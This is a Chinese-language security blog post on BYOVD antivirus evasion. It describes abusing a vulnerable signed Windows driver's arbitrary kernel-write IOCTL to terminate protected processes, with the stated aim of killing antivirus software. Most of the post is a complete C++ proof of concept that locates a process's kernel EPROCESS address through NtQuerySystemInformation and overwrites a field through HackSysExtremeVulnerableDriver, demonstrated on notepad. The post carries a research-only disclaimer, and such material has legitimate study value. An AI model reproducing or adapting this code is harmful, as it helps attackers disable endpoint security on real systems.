萦梦sora~Nya

人は人とつながっている

统计加载中...

Announcement

欢迎来到萦梦sora~的站点，底层协议生效中~~~

Learn More

标签

站点统计

文章

46

分类

4

标签

17

总字数

75,480

运行时长

0 天

最后活动

0 天前

1675 字

8 分钟

基于 BYOVD 的 Windows 内核态任意写（Arbitrary Write）免杀技术探讨

2026-06-16

网络安全

统计加载中...

基于 BYOVD 的 Windows 内核态任意写（Arbitrary Write）免杀技术探讨#

今天聊聊免杀，

本技术及代码仅供合法合规的安全研究与防御提升使用，严禁用于任何非法攻击；因不当使用导致的系统崩溃或法律后果，均由行为人自行承担。

流行的免杀大类基本分为一体的注入，但是这种对于静态分析较为明显，也是最初级的一种

再者是引入加载器loader，也就是机器码与loader分开，这样可以大大降低被杀的风险，

双边进行多重的分块强加密，最后进行拼组，对于免杀绕过效率会大大提高，我在之前

也是手搓过一个示例，过了大部分杀软

以及诸多DLL白加黑，加壳，签名等等的技术

当然，今天的重点不是这些方法，

这次主要谈谈内核态的进阶免杀理解

都知道，杀软都是有静态和动态免杀的，而这些时候

windows在10/11的杀软策略尤为激进，

引入了大量的底层hook，即使加密在最后拼凑的时候还是会触发api的hook

这里介绍其中一种进阶方法

在windows底层api之下，存在systemcall，也就是内核方法的入门

程序如果对于内核进行调用，是可以绕开常规hook的

当然，正常的程序却没有随意写的权限，

如果自己写改内存的程序也会没有正确的证书签名而被微软拒绝

这里就要引入一个新概念了，也就是劫持ring3改ring0

正常的驱动很多时候会向内存执行许多操作，

比如调度电，提电压等等，

但是如果是漏洞sys，就会有可以被劫持的写内存的接口，

而windows底层api DeviceIoControl可以对于驱动进行通信

如果说存在类似

1
//直接获取用户态传入的原始结构体指针
2
PWRITE_WHAT_WHERE pBuf = (PWRITE_WHAT_WHERE)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
3

4
//直接赋值
5
ULONG_PTR what = *(pBuf->What);
6
PULONG_PTR where = pBuf->Where;
7

8
// 用 Ring 0 权限向攻击者指定的任意内核地址写入任意数据
9
*where = what;

的代码，当然是可以更加复杂的，这只是一个最小示例

在微软白名单的漏洞驱动进行加载后，就存在了内存任意写

当然，任意写的目的还是kill杀软，这里就要引入下一个概念，

也就是句柄了，在windows里handle无比重要，

当我想kill一个程序的时候，必须拿到它在内存里的地址，

windows的底层存在未公开api NtQuerySystemInformation

这里注意需要二次分段传参为好，对于主机的影响是最小的，提前获取到内存盒大小

在这里返回的内核句柄表的子参与prccess pid进行比对

查找pid较为简单，类似函数如下

1
DWORD GetProcessIdByPID(const wchar_t* procName) {
2
    DWORD pid = 0;
3
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
4
    if (snapshot != INVALID_HANDLE_VALUE) {
5
        PROCESSENTRY32W entry;
6
        entry.dwSize = sizeof(entry);
7
        if (Process32FirstW(snapshot, &entry)) {
8
            do {
9
                if (wcscmp(entry.szExeFile, procName) == 0) {
10
                    pid = entry.th32ProcessID;
11
                    break;
12
                }
13
            } while (Process32NextW(snapshot, &entry));
14
        }
15
        CloseHandle(snapshot);
16
    }
17
    return pid;
18
}

提两个小知识，CreateToolhelp32Snapshot可以拍下当前所有状态的函数，也就可以查询了，

这里也是利用这个原理，以及

1
PROCESSENTRY32W entry;
2
        entry.dwSize = sizeof(entry);

是必须的，微软文档要求需传入。

再往下，句柄的地址表基本上是句柄xxx，指向内核0xxxxxx，

我们只有pid，可以通过openprocess api进行句柄信息的申请

挂载在自身之后，我们就可以在大表中遍历了

1
    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
2
        if (pHandleInfo->Handles[i].UniqueProcessId == currentPid &&
3
            (HANDLE)(ULONG_PTR)pHandleInfo->Handles[i].HandleValue == hTargetProc) {
4
            EprocessAddress = (ULONG_PTR)pHandleInfo->Handles[i].Object;
5
            break;
6
        }
7
    }

Object也就拿到了指向目标程序的内核地址

这样重点就剩下最后一步了，在找到了内存地址之后，就要算核心电源的地址了

这之中存在偏移，在尝试了大量的调试甚至盲打之后，发现windbg其实挺一劳永逸的

不同的版本的偏移不一样，调试就不赘述了

当然注意的事还有很多，在申请句柄表的时候不清楚内存分配还炸了好几次

后面就用小算法弥补了，

免杀中这仅仅还是冰山一角，要学的东西还是很多hh

比如在如何隐式加载sys，很多未公开api和进阶的方法

逆流而上吧， YMsora~

这里补下我手搓的小实验程序

1
#include <stdio.h>
2
#include <windows.h>
3
#include <tlhelp32.h>
4
#include <iostream>
5

6
#define HAVE_IOCTL_ARBITRARY_WRITE 0x22200B
7
#pragma comment(lib, "ntdll.lib")
8

9
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
10
    USHORT UniqueProcessId;
11
    USHORT CreatorBackTraceIndex;
12
    UCHAR ObjectTypeIndex;
13
    UCHAR HandleAttributes;
14
    USHORT HandleValue;
15
    PVOID Object;
16
    ULONG GrantedAccess;
17
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
18

19
typedef struct _SYSTEM_HANDLE_INFORMATION {
20
    ULONG NumberOfHandles;
21
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
22
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
23

24
typedef struct _WRITE_WHAT_WHERE {
25
    PVOID What;
26
    PVOID Where;
27
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
28

29
extern "C" NTSTATUS WINAPI NtQuerySystemInformation(
30
    ULONG SystemInformationClass,
31
    PVOID SystemInformation,
32
    ULONG SystemInformationLength,
33
    PULONG ReturnLength
34
);
35

36
DWORD GetProcessIdByPID(const wchar_t* procName) {
37
    DWORD pid = 0;
38
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
39
    if (snapshot != INVALID_HANDLE_VALUE) {
40
        PROCESSENTRY32W entry;
41
        entry.dwSize = sizeof(entry);
42
        if (Process32FirstW(snapshot, &entry)) {
43
            do {
44
                if (wcscmp(entry.szExeFile, procName) == 0) {
45
                    pid = entry.th32ProcessID;
46
                    break;
47
                }
48
            } while (Process32NextW(snapshot, &entry));
49
        }
50
        CloseHandle(snapshot);
51
    }
52
    return pid;
53
}
54

55
int main() {
56
    DWORD nPID = GetProcessIdByPID(L"notepad.exe");
57
    if (nPID == 0) {
58
        std::cerr << "事到如今，先打开吧" << std::endl;
59
        system("pause");
60
        return 1;
61
    }
62
    HANDLE hTargetProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, nPID);
63
    if (!hTargetProc) {
64
        std::cerr << "坏了没联系" << std::endl;
65
        system("pause");
66
        return 1;
67
    }
68

69

70
    volatile ULONG reqLength = 0x10000;
71
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
72
    NTSTATUS status = 0;
73

74
    std::cout << "正在动态套牢内核句柄大表..." << std::endl;
75

76
    while (true) {
77
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)VirtualAlloc(
78
            NULL, reqLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
79

80
        if (!pHandleInfo) {
81
            std::cerr << "内存分配严重失败！" << std::endl;
82
            CloseHandle(hTargetProc);
83
            system("pause");
84
            return 1;
85
        }
86

87
        status = NtQuerySystemInformation(16, pHandleInfo, reqLength, (PULONG)&reqLength);
88

89
        if (status == 0xC0000004) {
90
            VirtualFree(pHandleInfo, 0, MEM_RELEASE);
91
            reqLength *= 2;
92
            continue;
93
        }
94

95
        if (status != 0) {
96
            std::cerr << "内核拒绝，错误码: 0x" << std::hex << status << std::endl;
97
            VirtualFree(pHandleInfo, 0, MEM_RELEASE);
98
            CloseHandle(hTargetProc);
99
            system("pause");
100
            return 1;
101
        }
102

103
        break;
104
    }
105

106
    ULONG_PTR EprocessAddress = 0;
107
    DWORD currentPid = GetCurrentProcessId();
108

109
    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
110
        if (pHandleInfo->Handles[i].UniqueProcessId == currentPid &&
111
            (HANDLE)(ULONG_PTR)pHandleInfo->Handles[i].HandleValue == hTargetProc) {
112
            EprocessAddress = (ULONG_PTR)pHandleInfo->Handles[i].Object;
113
            break;
114
        }
115
    }
116

117
    VirtualFree(pHandleInfo, 0, MEM_RELEASE);
118

119
    if (EprocessAddress == 0) {
120
        std::cerr << "没找到记事本的 Eprocess 地址" << std::endl;
121
        CloseHandle(hTargetProc);
122
        system("pause");
123
        return 1;
124
    }
125

126
    std::cout << "==================================================" << std::endl;
127
    std::cout << "偷到的记事本基地址为：" << std::endl;
128
    std::cout << "0x" << std::hex << std::uppercase << EprocessAddress << std::endl;
129
    std::cout << "==================================================" << std::endl;
130

131
    system("pause");
132

133
    // 靶点计算
134
    PULONG_PTR TargetAddress = (PULONG_PTR)((ULONG_PTR)EprocessAddress + 0x4B8);
135
    ULONG_PTR ValueToWrite = 0x0000000000000000;
136

137
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
138
        GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
139

140
    if (hDevice == INVALID_HANDLE_VALUE) {
141
        std::cerr << "Failed to open device: " << GetLastError() << std::endl;
142
        CloseHandle(hTargetProc);
143
        system("pause");
144
        return 1;
145
    }
146

147
    WRITE_WHAT_WHERE POC;
148
    POC.What = (PVOID)&ValueToWrite;
149
    POC.Where = (PVOID)TargetAddress;
150

151
    DWORD bytesReturned = 0;
152
    BOOL result = DeviceIoControl(
153
        hDevice,
154
        HAVE_IOCTL_ARBITRARY_WRITE,
155
        &POC,
156
        sizeof(POC),
157
        NULL,
158
        0,
159
        &bytesReturned,
160
        NULL
161
    );
162

163
    CloseHandle(hDevice);
164
    CloseHandle(hTargetProc);
165

166
    if (!result) {
167
        std::cerr << "DeviceIoControl failed: " << GetLastError() << std::endl;
168
        system("pause");
169
        return 1;
170
    }
171

172
    MessageBoxA(NULL, "记事本退出成功，内核实验成功hhhh", "YMsora的超级实验", MB_OK | MB_ICONINFORMATION);
173
    return 0;
174
}

PS:其实调试挺久的，大家看到很多system(“pause”); 就可以证明了hh

基于 BYOVD 的 Windows 内核态任意写（Arbitrary Write）免杀技术探讨

https://ymsora.com/posts/内核免杀/

作者

YMsora~X

发布于

2026-06-16

许可协议

Unlicensed

部分信息可能已经过时

当审计能力在 AI 面前贬值：认知上限、攻击面重构与新红队的思考

萦梦sora~Nyaの安全Blog

人は人とつながっている

基于 BYOVD 的 Windows 内核态任意写（Arbitrary Write）免杀技术探讨#